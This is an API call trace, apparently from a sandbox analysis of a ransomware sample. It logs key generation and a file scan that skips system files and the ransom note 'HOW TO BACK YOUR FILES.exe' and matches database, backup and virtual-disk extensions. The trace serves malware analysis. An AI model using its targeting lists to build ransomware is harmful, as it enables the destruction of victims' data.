	[0057.974] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x204300, lpName=0x0) returned 0x118
	[0057.977] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x4300) returned 0x100000
	[0057.979] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3270000
	[0058.389] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bff80) returned 1
	[0058.390] CryptGenRandom (in: hProv=0x5bff80, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0058.390] CryptReleaseContext (hProv=0x5bff80, dwFlags=0x0) returned 1
	[0058.390] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0058.390] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0058.390] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0058.390] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0058.390] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0058.390] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0058.390] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0058.390] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0058.390] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0058.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0058.391] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0058.391] CloseHandle (hObject=0x118) returned 1
	[0058.391] CloseHandle (hObject=0x154) returned 1
	[0058.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0058.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0058.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0058.400] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2e234eb, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1
	[0058.400] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0058.400] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="Apollon865.txt.exe") returned 1
	[0058.400] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".") returned 1
	[0058.400] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="..") returned 1
	[0058.400] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="windows") returned 1
	[0058.400] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="bootmgr") returned 1
	[0058.400] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="temp") returned 1
	[0058.400] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="pagefile.sys") returned 1
	[0058.400] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="boot") returned 1
	[0058.400] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="ids.txt") returned 1
	[0058.400] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="ntuser.dat") returned 1
	[0058.400] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="perflogs") returned 1
	[0058.401] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="MSBuild") returned 1
	[0058.401] lstrlenW (lpString="WindowsMail.pat") returned 15
	[0058.401] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore") returned 80
	[0058.401] lstrcpyW (in: lpString1=0x119e674, lpString2="WindowsMail.pat" | out: lpString1="WindowsMail.pat") returned="WindowsMail.pat"
	[0058.401] lstrlenW (lpString="WindowsMail.pat") returned 15
	[0058.401] lstrlenW (lpString="Apollon865") returned 10
	[0058.401] lstrcmpiW (lpString1="wsMail.pat", lpString2="Apollon865") returned 1
	[0058.401] lstrlenW (lpString=".dll") returned 4
	[0058.401] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".dll") returned 1
	[0058.401] lstrlenW (lpString=".lnk") returned 4
	[0058.401] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".lnk") returned 1
	[0058.401] lstrlenW (lpString=".ini") returned 4
	[0058.401] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".ini") returned 1
	[0058.401] lstrlenW (lpString=".sys") returned 4
	[0058.401] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".sys") returned 1
	[0058.401] lstrlenW (lpString="WindowsMail.pat") returned 15
	[0058.401] lstrlenW (lpString="bak") returned 3
	[0058.401] lstrcmpiW (lpString1="pat", lpString2="bak") returned 1
	[0058.401] lstrlenW (lpString="ba_") returned 3
	[0058.401] lstrcmpiW (lpString1="pat", lpString2="ba_") returned 1
	[0058.401] lstrlenW (lpString="dbb") returned 3
	[0058.401] lstrcmpiW (lpString1="pat", lpString2="dbb") returned 1
	[0058.401] lstrlenW (lpString="vmdk") returned 4
	[0058.401] lstrcmpiW (lpString1=".pat", lpString2="vmdk") returned -1
	[0058.401] lstrlenW (lpString="rar") returned 3
	[0058.401] lstrcmpiW (lpString1="pat", lpString2="rar") returned -1
	[0058.401] lstrlenW (lpString="zip") returned 3
	[0058.401] lstrcmpiW (lpString1="pat", lpString2="zip") returned -1
	[0058.401] lstrlenW (lpString="tgz") returned 3
	[0058.401] lstrcmpiW (lpString1="pat", lpString2="tgz") returned -1
	[0058.401] lstrlenW (lpString="vbox") returned 4
	[0058.401] lstrcmpiW (lpString1=".pat", lpString2="vbox") returned -1
	[0058.401] lstrlenW (lpString="vdi") returned 3
	[0058.401] lstrcmpiW (lpString1="pat", lpString2="vdi") returned -1
	[0058.401] lstrlenW (lpString="vhd") returned 3
	[0058.401] lstrcmpiW (lpString1="pat", lpString2="vhd") returned -1
	[0058.401] lstrlenW (lpString="vhdx") returned 4
	[0058.401] lstrcmpiW (lpString1=".pat", lpString2="vhdx") returned -1
	[0058.402] lstrlenW (lpString="avhd") returned 4
	[0058.402] lstrcmpiW (lpString1=".pat", lpString2="avhd") returned -1
	[0058.402] lstrlenW (lpString="db") returned 2
	[0058.402] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0058.402] lstrlenW (lpString="db2") returned 3
	[0058.402] lstrcmpiW (lpString1="pat", lpString2="db2") returned 1
	[0058.402] lstrlenW (lpString="db3") returned 3
	[0058.402] lstrcmpiW (lpString1="pat", lpString2="db3") returned 1
	[0058.402] lstrlenW (lpString="dbf") returned 3
	[0058.402] lstrcmpiW (lpString1="pat", lpString2="dbf") returned 1
	[0058.402] lstrlenW (lpString="mdf") returned 3
	[0058.402] lstrcmpiW (lpString1="pat", lpString2="mdf") returned 1
	[0058.402] lstrlenW (lpString="mdb") returned 3
	[0058.402] lstrcmpiW (lpString1="pat", lpString2="mdb") returned 1
	[0058.402] lstrlenW (lpString="sql") returned 3
	[0058.402] lstrcmpiW (lpString1="pat", lpString2="sql") returned -1
	[0058.402] lstrlenW (lpString="sqlite") returned 6
	[0058.402] lstrcmpiW (lpString1="il.pat", lpString2="sqlite") returned -1
	[0058.402] lstrlenW (lpString="sqlite3") returned 7
	[0058.402] lstrcmpiW (lpString1="ail.pat", lpString2="sqlite3") returned -1
	[0058.402] lstrlenW (lpString="sqlitedb") returned 8
	[0058.402] lstrcmpiW (lpString1="Mail.pat", lpString2="sqlitedb") returned -1
	[0058.402] lstrlenW (lpString="xml") returned 3
	[0058.402] lstrcmpiW (lpString1="pat", lpString2="xml") returned -1
	[0058.402] lstrlenW (lpString="$er") returned 3
	[0058.402] lstrcmpiW (lpString1="pat", lpString2="$er") returned 1
	[0058.402] lstrlenW (lpString="4dd") returned 3
	[0058.402] lstrcmpiW (lpString1="pat", lpString2="4dd") returned 1
	[0058.402] lstrlenW (lpString="4dl") returned 3
	[0058.402] lstrcmpiW (lpString1="pat", lpString2="4dl") returned 1
	[0058.402] lstrlenW (lpString="^^^") returned 3
	[0058.402] lstrcmpiW (lpString1="pat", lpString2="^^^") returned 1
	[0058.402] lstrlenW (lpString="abs") returned 3
	[0058.402] lstrcmpiW (lpString1="pat", lpString2="abs") returned 1
	[0058.402] lstrlenW (lpString="abx") returned 3
	[0058.402] lstrcmpiW (lpString1="pat", lpString2="abx") returned 1
	[0058.402] lstrlenW (lpString="accdb") returned 5
	[0058.402] lstrcmpiW (lpString1="l.pat", lpString2="accdb") returned 1
	[0058.403] lstrlenW (lpString="accdc") returned 5
	[0058.403] lstrcmpiW (lpString1="l.pat", lpString2="accdc") returned 1
	[0058.403] lstrlenW (lpString="accde") returned 5
	[0058.403] lstrcmpiW (lpString1="l.pat", lpString2="accde") returned 1
	[0058.403] lstrlenW (lpString="accdr") returned 5
	[0058.403] lstrcmpiW (lpString1="l.pat", lpString2="accdr") returned 1
	[0058.403] lstrlenW (lpString="accdt") returned 5
	[0058.403] lstrcmpiW (lpString1="l.pat", lpString2="accdt") returned 1
	[0058.403] lstrlenW (lpString="accdw") returned 5
	[0058.403] lstrcmpiW (lpString1="l.pat", lpString2="accdw") returned 1
	[0058.403] lstrlenW (lpString="accft") returned 5
	[0058.403] lstrcmpiW (lpString1="l.pat", lpString2="accft") returned 1
	[0058.403] lstrlenW (lpString="adb") returned 3
	[0058.403] lstrcmpiW (lpString1="pat", lpString2="adb") returned 1
	[0058.403] lstrlenW (lpString="adb") returned 3
	[0058.403] lstrcmpiW (lpString1="pat", lpString2="adb") returned 1
	[0058.403] lstrlenW (lpString="ade") returned 3
	[0058.403] lstrcmpiW (lpString1="pat", lpString2="ade") returned 1
	[0058.403] lstrlenW (lpString="adf") returned 3
	[0058.403] lstrcmpiW (lpString1="pat", lpString2="adf") returned 1
	[0058.403] lstrlenW (lpString="adn") returned 3
	[0058.403] lstrcmpiW (lpString1="pat", lpString2="adn") returned 1
	[0058.403] lstrlenW (lpString="adp") returned 3
	[0058.403] lstrcmpiW (lpString1="pat", lpString2="adp") returned 1
	[0058.403] lstrlenW (lpString="alf") returned 3
	[0058.403] lstrcmpiW (lpString1="pat", lpString2="alf") returned 1
	[0058.403] lstrlenW (lpString="ask") returned 3
	[0058.403] lstrcmpiW (lpString1="pat", lpString2="ask") returned 1
	[0058.403] lstrlenW (lpString="btr") returned 3
	[0058.403] lstrcmpiW (lpString1="pat", lpString2="btr") returned 1
	[0058.403] lstrlenW (lpString="cat") returned 3
	[0058.403] lstrcmpiW (lpString1="pat", lpString2="cat") returned 1
	[0058.403] lstrlenW (lpString="cdb") returned 3
	[0058.403] lstrcmpiW (lpString1="pat", lpString2="cdb") returned 1
	[0058.403] lstrlenW (lpString="ckp") returned 3
	[0058.403] lstrcmpiW (lpString1="pat", lpString2="ckp") returned 1
	[0058.403] lstrlenW (lpString="cma") returned 3
	[0058.404] lstrcmpiW (lpString1="pat", lpString2="cma") returned 1
	[0058.404] lstrlenW (lpString="cpd") returned 3
	[0058.404] lstrcmpiW (lpString1="pat", lpString2="cpd") returned 1
	[0058.404] lstrlenW (lpString="dacpac") returned 6
	[0058.404] lstrcmpiW (lpString1="il.pat", lpString2="dacpac") returned 1
	[0058.404] lstrlenW (lpString="dad") returned 3
	[0058.404] lstrcmpiW (lpString1="pat", lpString2="dad") returned 1
	[0058.404] lstrlenW (lpString="dadiagrams") returned 10
	[0058.404] lstrcmpiW (lpString1="wsMail.pat", lpString2="dadiagrams") returned 1
	[0058.404] lstrlenW (lpString="daschema") returned 8
	[0058.404] lstrcmpiW (lpString1="Mail.pat", lpString2="daschema") returned 1
	[0058.404] lstrlenW (lpString="db-journal") returned 10
	[0058.404] lstrcmpiW (lpString1="wsMail.pat", lpString2="db-journal") returned 1
	[0058.404] lstrlenW (lpString="db-shm") returned 6
	[0058.404] lstrcmpiW (lpString1="il.pat", lpString2="db-shm") returned 1
	[0058.404] lstrlenW (lpString="db-wal") returned 6
	[0058.404] lstrcmpiW (lpString1="il.pat", lpString2="db-wal") returned 1
	[0058.404] lstrlenW (lpString="dbc") returned 3
	[0058.404] lstrcmpiW (lpString1="pat", lpString2="dbc") returned 1
	[0058.404] lstrlenW (lpString="dbs") returned 3
	[0058.404] lstrcmpiW (lpString1="pat", lpString2="dbs") returned 1
	[0058.404] lstrlenW (lpString="dbt") returned 3
	[0058.404] lstrcmpiW (lpString1="pat", lpString2="dbt") returned 1
	[0058.404] lstrlenW (lpString="dbv") returned 3
	[0058.404] lstrcmpiW (lpString1="pat", lpString2="dbv") returned 1
	[0058.404] lstrlenW (lpString="dbx") returned 3
	[0058.404] lstrcmpiW (lpString1="pat", lpString2="dbx") returned 1
	[0058.404] lstrlenW (lpString="dcb") returned 3
	[0058.404] lstrcmpiW (lpString1="pat", lpString2="dcb") returned 1
	[0058.404] lstrlenW (lpString="dct") returned 3
	[0058.404] lstrcmpiW (lpString1="pat", lpString2="dct") returned 1
	[0058.404] lstrlenW (lpString="dcx") returned 3
	[0058.404] lstrcmpiW (lpString1="pat", lpString2="dcx") returned 1
	[0058.404] lstrlenW (lpString="ddl") returned 3
	[0058.404] lstrcmpiW (lpString1="pat", lpString2="ddl") returned 1
	[0058.404] lstrlenW (lpString="dlis") returned 4
	[0058.404] lstrcmpiW (lpString1=".pat", lpString2="dlis") returned -1
	[0058.404] lstrlenW (lpString="dp1") returned 3
	[0058.405] lstrcmpiW (lpString1="pat", lpString2="dp1") returned 1
	[0058.405] lstrlenW (lpString="dqy") returned 3
	[0058.405] lstrcmpiW (lpString1="pat", lpString2="dqy") returned 1
	[0058.405] lstrlenW (lpString="dsk") returned 3
	[0058.405] lstrcmpiW (lpString1="pat", lpString2="dsk") returned 1
	[0058.405] lstrlenW (lpString="dsn") returned 3
	[0058.405] lstrcmpiW (lpString1="pat", lpString2="dsn") returned 1
	[0058.405] lstrlenW (lpString="dtsx") returned 4
	[0058.405] lstrcmpiW (lpString1=".pat", lpString2="dtsx") returned -1
	[0058.405] lstrlenW (lpString="dxl") returned 3
	[0058.405] lstrcmpiW (lpString1="pat", lpString2="dxl") returned 1
	[0058.405] lstrlenW (lpString="eco") returned 3
	[0058.405] lstrcmpiW (lpString1="pat", lpString2="eco") returned 1
	[0058.405] lstrlenW (lpString="ecx") returned 3
	[0058.405] lstrcmpiW (lpString1="pat", lpString2="ecx") returned 1
	[0058.405] lstrlenW (lpString="edb") returned 3
	[0058.405] lstrcmpiW (lpString1="pat", lpString2="edb") returned 1
	[0058.405] lstrlenW (lpString="epim") returned 4
	[0058.405] lstrcmpiW (lpString1=".pat", lpString2="epim") returned -1
	[0058.405] lstrlenW (lpString="fcd") returned 3
	[0058.405] lstrcmpiW (lpString1="pat", lpString2="fcd") returned 1
	[0058.405] lstrlenW (lpString="fdb") returned 3
	[0058.405] lstrcmpiW (lpString1="pat", lpString2="fdb") returned 1
	[0058.405] lstrlenW (lpString="fic") returned 3
	[0058.405] lstrcmpiW (lpString1="pat", lpString2="fic") returned 1
	[0058.405] lstrlenW (lpString="flexolibrary") returned 12
	[0058.405] lstrcmpiW (lpString1="dowsMail.pat", lpString2="flexolibrary") returned -1
	[0058.405] lstrlenW (lpString="fm5") returned 3
	[0058.405] lstrcmpiW (lpString1="pat", lpString2="fm5") returned 1
	[0058.405] lstrlenW (lpString="fmp") returned 3
	[0058.405] lstrcmpiW (lpString1="pat", lpString2="fmp") returned 1
	[0058.405] lstrlenW (lpString="fmp12") returned 5
	[0058.405] lstrcmpiW (lpString1="l.pat", lpString2="fmp12") returned 1
	[0058.405] lstrlenW (lpString="fmpsl") returned 5
	[0058.405] lstrcmpiW (lpString1="l.pat", lpString2="fmpsl") returned 1
	[0058.405] lstrlenW (lpString="fol") returned 3
	[0058.405] lstrcmpiW (lpString1="pat", lpString2="fol") returned 1
	[0058.405] lstrlenW (lpString="fp3") returned 3
	[0058.406] lstrcmpiW (lpString1="pat", lpString2="fp3") returned 1
	[0058.406] lstrlenW (lpString="fp4") returned 3
	[0058.406] lstrcmpiW (lpString1="pat", lpString2="fp4") returned 1
	[0058.406] lstrlenW (lpString="fp5") returned 3
	[0058.406] lstrcmpiW (lpString1="pat", lpString2="fp5") returned 1
	[0058.406] lstrlenW (lpString="fp7") returned 3
	[0058.406] lstrcmpiW (lpString1="pat", lpString2="fp7") returned 1
	[0058.406] lstrlenW (lpString="fpt") returned 3
	[0058.406] lstrcmpiW (lpString1="pat", lpString2="fpt") returned 1
	[0058.406] lstrlenW (lpString="frm") returned 3
	[0058.406] lstrcmpiW (lpString1="pat", lpString2="frm") returned 1
	[0058.406] lstrlenW (lpString="gdb") returned 3
	[0058.406] lstrcmpiW (lpString1="pat", lpString2="gdb") returned 1
	[0058.406] lstrlenW (lpString="gdb") returned 3
	[0058.406] lstrcmpiW (lpString1="pat", lpString2="gdb") returned 1
	[0058.406] lstrlenW (lpString="grdb") returned 4
	[0058.406] lstrcmpiW (lpString1=".pat", lpString2="grdb") returned -1
	[0058.406] lstrlenW (lpString="gwi") returned 3
	[0058.406] lstrcmpiW (lpString1="pat", lpString2="gwi") returned 1
	[0058.406] lstrlenW (lpString="hdb") returned 3
	[0058.406] lstrcmpiW (lpString1="pat", lpString2="hdb") returned 1
	[0058.406] lstrlenW (lpString="his") returned 3
	[0058.406] lstrcmpiW (lpString1="pat", lpString2="his") returned 1
	[0058.406] lstrlenW (lpString="ib") returned 2
	[0058.406] lstrcmpiW (lpString1="at", lpString2="ib") returned -1
	[0058.406] lstrlenW (lpString="idb") returned 3
	[0058.406] lstrcmpiW (lpString1="pat", lpString2="idb") returned 1
	[0058.406] lstrlenW (lpString="ihx") returned 3
	[0058.406] lstrcmpiW (lpString1="pat", lpString2="ihx") returned 1
	[0058.406] lstrlenW (lpString="itdb") returned 4
	[0058.406] lstrcmpiW (lpString1=".pat", lpString2="itdb") returned -1
	[0058.406] lstrlenW (lpString="itw") returned 3
	[0058.406] lstrcmpiW (lpString1="pat", lpString2="itw") returned 1
	[0058.406] lstrlenW (lpString="jet") returned 3
	[0058.406] lstrcmpiW (lpString1="pat", lpString2="jet") returned 1
	[0058.406] lstrlenW (lpString="jtx") returned 3
	[0058.406] lstrcmpiW (lpString1="pat", lpString2="jtx") returned 1
	[0058.407] lstrlenW (lpString="kdb") returned 3
	[0058.407] lstrcmpiW (lpString1="pat", lpString2="kdb") returned 1
	[0058.407] lstrlenW (lpString="kexi") returned 4
	[0058.407] lstrcmpiW (lpString1=".pat", lpString2="kexi") returned -1
	[0058.407] lstrlenW (lpString="kexic") returned 5
	[0058.407] lstrcmpiW (lpString1="l.pat", lpString2="kexic") returned 1
	[0058.407] lstrlenW (lpString="kexis") returned 5
	[0058.407] lstrcmpiW (lpString1="l.pat", lpString2="kexis") returned 1
	[0058.407] lstrlenW (lpString="lgc") returned 3
	[0058.407] lstrcmpiW (lpString1="pat", lpString2="lgc") returned 1
	[0058.407] lstrlenW (lpString="lwx") returned 3
	[0058.407] lstrcmpiW (lpString1="pat", lpString2="lwx") returned 1
	[0058.407] lstrlenW (lpString="maf") returned 3
	[0058.407] lstrcmpiW (lpString1="pat", lpString2="maf") returned 1
	[0058.407] lstrlenW (lpString="maq") returned 3
	[0058.407] lstrcmpiW (lpString1="pat", lpString2="maq") returned 1
	[0058.407] lstrlenW (lpString="mar") returned 3
	[0058.407] lstrcmpiW (lpString1="pat", lpString2="mar") returned 1
	[0058.407] lstrlenW (lpString="marshal") returned 7
	[0058.407] lstrcmpiW (lpString1="ail.pat", lpString2="marshal") returned -1
	[0058.407] lstrlenW (lpString="mas") returned 3
	[0058.407] lstrcmpiW (lpString1="pat", lpString2="mas") returned 1
	[0058.407] lstrlenW (lpString="mav") returned 3
	[0058.407] lstrcmpiW (lpString1="pat", lpString2="mav") returned 1
	[0058.407] lstrlenW (lpString="maw") returned 3
	[0058.407] lstrcmpiW (lpString1="pat", lpString2="maw") returned 1
	[0058.407] lstrlenW (lpString="mdbhtml") returned 7
	[0058.407] lstrcmpiW (lpString1="ail.pat", lpString2="mdbhtml") returned -1
	[0058.407] lstrlenW (lpString="mdn") returned 3
	[0058.407] lstrcmpiW (lpString1="pat", lpString2="mdn") returned 1
	[0058.407] lstrlenW (lpString="mdt") returned 3
	[0058.407] lstrcmpiW (lpString1="pat", lpString2="mdt") returned 1
	[0058.407] lstrlenW (lpString="mfd") returned 3
	[0058.407] lstrcmpiW (lpString1="pat", lpString2="mfd") returned 1
	[0058.407] lstrlenW (lpString="mpd") returned 3
	[0058.407] lstrcmpiW (lpString1="pat", lpString2="mpd") returned 1
	[0058.407] lstrlenW (lpString="mrg") returned 3
	[0058.407] lstrcmpiW (lpString1="pat", lpString2="mrg") returned 1
	[0058.408] lstrlenW (lpString="mud") returned 3
	[0058.408] lstrcmpiW (lpString1="pat", lpString2="mud") returned 1
	[0058.408] lstrlenW (lpString="mwb") returned 3
	[0058.408] lstrcmpiW (lpString1="pat", lpString2="mwb") returned 1
	[0058.408] lstrlenW (lpString="myd") returned 3
	[0058.408] lstrcmpiW (lpString1="pat", lpString2="myd") returned 1
	[0058.408] lstrlenW (lpString="ndf") returned 3
	[0058.408] lstrcmpiW (lpString1="pat", lpString2="ndf") returned 1
	[0058.408] lstrlenW (lpString="nnt") returned 3
	[0058.408] lstrcmpiW (lpString1="pat", lpString2="nnt") returned 1
	[0058.408] lstrlenW (lpString="nrmlib") returned 6
	[0058.408] lstrcmpiW (lpString1="il.pat", lpString2="nrmlib") returned -1
	[0058.408] lstrlenW (lpString="ns2") returned 3
	[0058.408] lstrcmpiW (lpString1="pat", lpString2="ns2") returned 1
	[0058.408] lstrlenW (lpString="ns3") returned 3
	[0058.408] lstrcmpiW (lpString1="pat", lpString2="ns3") returned 1
	[0058.408] lstrlenW (lpString="ns4") returned 3
	[0058.408] lstrcmpiW (lpString1="pat", lpString2="ns4") returned 1
	[0058.408] lstrlenW (lpString="nsf") returned 3
	[0058.408] lstrcmpiW (lpString1="pat", lpString2="nsf") returned 1
	[0058.408] lstrlenW (lpString="nv") returned 2
	[0058.408] lstrcmpiW (lpString1="at", lpString2="nv") returned -1
	[0058.408] lstrlenW (lpString="nv2") returned 3
	[0058.408] lstrcmpiW (lpString1="pat", lpString2="nv2") returned 1
	[0058.408] lstrlenW (lpString="nwdb") returned 4
	[0058.408] lstrcmpiW (lpString1=".pat", lpString2="nwdb") returned -1
	[0058.408] lstrlenW (lpString="nyf") returned 3
	[0058.408] lstrcmpiW (lpString1="pat", lpString2="nyf") returned 1
	[0058.408] lstrlenW (lpString="odb") returned 3
	[0058.408] lstrcmpiW (lpString1="pat", lpString2="odb") returned 1
	[0058.408] lstrlenW (lpString="odb") returned 3
	[0058.408] lstrcmpiW (lpString1="pat", lpString2="odb") returned 1
	[0058.408] lstrlenW (lpString="oqy") returned 3
	[0058.408] lstrcmpiW (lpString1="pat", lpString2="oqy") returned 1
	[0058.408] lstrlenW (lpString="ora") returned 3
	[0058.408] lstrcmpiW (lpString1="pat", lpString2="ora") returned 1
	[0058.408] lstrlenW (lpString="orx") returned 3
	[0058.408] lstrcmpiW (lpString1="pat", lpString2="orx") returned 1
	[0058.408] lstrlenW (lpString="owc") returned 3
	[0058.409] lstrcmpiW (lpString1="pat", lpString2="owc") returned 1
	[0058.409] lstrlenW (lpString="p96") returned 3
	[0058.409] lstrcmpiW (lpString1="pat", lpString2="p96") returned 1
	[0058.409] lstrlenW (lpString="p97") returned 3
	[0058.409] lstrcmpiW (lpString1="pat", lpString2="p97") returned 1
	[0058.409] lstrlenW (lpString="pan") returned 3
	[0058.409] lstrcmpiW (lpString1="pat", lpString2="pan") returned 1
	[0058.409] lstrlenW (lpString="pdb") returned 3
	[0058.409] lstrcmpiW (lpString1="pat", lpString2="pdb") returned -1
	[0058.409] lstrlenW (lpString="pdm") returned 3
	[0058.409] lstrcmpiW (lpString1="pat", lpString2="pdm") returned -1
	[0058.409] lstrlenW (lpString="pnz") returned 3
	[0058.409] lstrcmpiW (lpString1="pat", lpString2="pnz") returned -1
	[0058.409] lstrlenW (lpString="qry") returned 3
	[0058.409] lstrcmpiW (lpString1="pat", lpString2="qry") returned -1
	[0058.409] lstrlenW (lpString="qvd") returned 3
	[0058.409] lstrcmpiW (lpString1="pat", lpString2="qvd") returned -1
	[0058.409] lstrlenW (lpString="rbf") returned 3
	[0058.409] lstrcmpiW (lpString1="pat", lpString2="rbf") returned -1
	[0058.409] lstrlenW (lpString="rctd") returned 4
	[0058.409] lstrcmpiW (lpString1=".pat", lpString2="rctd") returned -1
	[0058.409] lstrlenW (lpString="rod") returned 3
	[0058.409] lstrcmpiW (lpString1="pat", lpString2="rod") returned -1
	[0058.409] lstrlenW (lpString="rodx") returned 4
	[0058.409] lstrcmpiW (lpString1=".pat", lpString2="rodx") returned -1
	[0058.409] lstrlenW (lpString="rpd") returned 3
	[0058.409] lstrcmpiW (lpString1="pat", lpString2="rpd") returned -1
	[0058.409] lstrlenW (lpString="rsd") returned 3
	[0058.409] lstrcmpiW (lpString1="pat", lpString2="rsd") returned -1
	[0058.409] lstrlenW (lpString="sas7bdat") returned 8
	[0058.409] lstrcmpiW (lpString1="Mail.pat", lpString2="sas7bdat") returned -1
	[0058.409] lstrlenW (lpString="sbf") returned 3
	[0058.409] lstrcmpiW (lpString1="pat", lpString2="sbf") returned -1
	[0058.409] lstrlenW (lpString="scx") returned 3
	[0058.409] lstrcmpiW (lpString1="pat", lpString2="scx") returned -1
	[0058.409] lstrlenW (lpString="sdb") returned 3
	[0058.409] lstrcmpiW (lpString1="pat", lpString2="sdb") returned -1
	[0058.409] lstrlenW (lpString="sdc") returned 3
	[0058.410] lstrcmpiW (lpString1="pat", lpString2="sdc") returned -1
	[0058.410] lstrlenW (lpString="sdf") returned 3
	[0058.410] lstrcmpiW (lpString1="pat", lpString2="sdf") returned -1
	[0058.410] lstrlenW (lpString="sis") returned 3
	[0058.410] lstrcmpiW (lpString1="pat", lpString2="sis") returned -1
	[0058.410] lstrlenW (lpString="spq") returned 3
	[0058.410] lstrcmpiW (lpString1="pat", lpString2="spq") returned -1
	[0058.410] lstrlenW (lpString="te") returned 2
	[0058.410] lstrcmpiW (lpString1="at", lpString2="te") returned -1
	[0058.410] lstrlenW (lpString="teacher") returned 7
	[0058.410] lstrcmpiW (lpString1="ail.pat", lpString2="teacher") returned -1
	[0058.410] lstrlenW (lpString="tmd") returned 3
	[0058.410] lstrcmpiW (lpString1="pat", lpString2="tmd") returned -1
	[0058.410] lstrlenW (lpString="tps") returned 3
	[0058.410] lstrcmpiW (lpString1="pat", lpString2="tps") returned -1
	[0058.410] lstrlenW (lpString="trc") returned 3
	[0058.410] lstrcmpiW (lpString1="pat", lpString2="trc") returned -1
	[0058.410] lstrlenW (lpString="trc") returned 3
	[0058.410] lstrcmpiW (lpString1="pat", lpString2="trc") returned -1
	[0058.410] lstrlenW (lpString="trm") returned 3
	[0058.410] lstrcmpiW (lpString1="pat", lpString2="trm") returned -1
	[0058.410] lstrlenW (lpString="udb") returned 3
	[0058.410] lstrcmpiW (lpString1="pat", lpString2="udb") returned -1
	[0058.410] lstrlenW (lpString="udl") returned 3
	[0058.410] lstrcmpiW (lpString1="pat", lpString2="udl") returned -1
	[0058.410] lstrlenW (lpString="usr") returned 3
	[0058.410] lstrcmpiW (lpString1="pat", lpString2="usr") returned -1
	[0058.410] lstrlenW (lpString="v12") returned 3
	[0058.410] lstrcmpiW (lpString1="pat", lpString2="v12") returned -1
	[0058.410] lstrlenW (lpString="vis") returned 3
	[0058.410] lstrcmpiW (lpString1="pat", lpString2="vis") returned -1
	[0058.410] lstrlenW (lpString="vpd") returned 3
	[0058.410] lstrcmpiW (lpString1="pat", lpString2="vpd") returned -1
	[0058.410] lstrlenW (lpString="vvv") returned 3
	[0058.410] lstrcmpiW (lpString1="pat", lpString2="vvv") returned -1
	[0058.410] lstrlenW (lpString="wdb") returned 3
	[0058.410] lstrcmpiW (lpString1="pat", lpString2="wdb") returned -1
	[0058.411] lstrlenW (lpString="wmdb") returned 4
	[0058.411] lstrcmpiW (lpString1=".pat", lpString2="wmdb") returned -1
	[0058.411] lstrlenW (lpString="wrk") returned 3
	[0058.411] lstrcmpiW (lpString1="pat", lpString2="wrk") returned -1
	[0058.411] lstrlenW (lpString="xdb") returned 3
	[0058.411] lstrcmpiW (lpString1="pat", lpString2="xdb") returned -1
	[0058.411] lstrlenW (lpString="xld") returned 3
	[0058.411] lstrcmpiW (lpString1="pat", lpString2="xld") returned -1
